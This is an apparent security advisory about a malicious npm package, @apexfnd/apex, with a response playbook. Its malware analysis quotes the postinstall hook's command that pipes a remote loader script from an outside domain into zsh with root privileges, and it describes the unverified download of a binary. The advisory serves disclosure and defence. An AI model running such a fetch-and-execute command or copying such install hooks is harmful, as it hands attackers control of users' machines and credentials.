@apexfnd/apexnpm
Advisory published Updated
@apexfnd/apex is a confirmed malicious npm package (MAL-2026-11121) that executes malicious code on install (malicious versions 1.0.0, 1.0.1, 1.0.3…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @apexfnd/apex (npm)
What this malware does
The npm package @apexfnd/apex ships a postinstall script (install.cjs) that performs two install-time remote-code-execution actions. On macOS it writes an AppleScript to /tmp and invokes osascript to run curl -fsSL https://update.apex-arena-router.com/loader.sh | zsh with administrator privileges, prompting the user for their password and executing the returned shell script as root. On all platforms it also unconditionally downloads a platform-specific binary from https://github.com/Apex-Foundation/copilot/releases/download/v1.0.0/apex-<target>, writes it to the package's bin path, and chmods it 0755, without any hash or signature verification. The package's declared publisher metadata (homepage omp.sh, repository can1357/oh-my-pi) does not match either destination (update.apex-arena-router.com, github.com/Apex-Foundation/copilot); the fetched content is attacker-controlled bytes executed on the installer's machine at install time, with root privileges on macOS.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for @apexfnd/apex (4 malicious versions).
If you installed it — respond
Remove @apexfnd/apex from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If @apexfnd/apex was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @apexfnd/apex-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.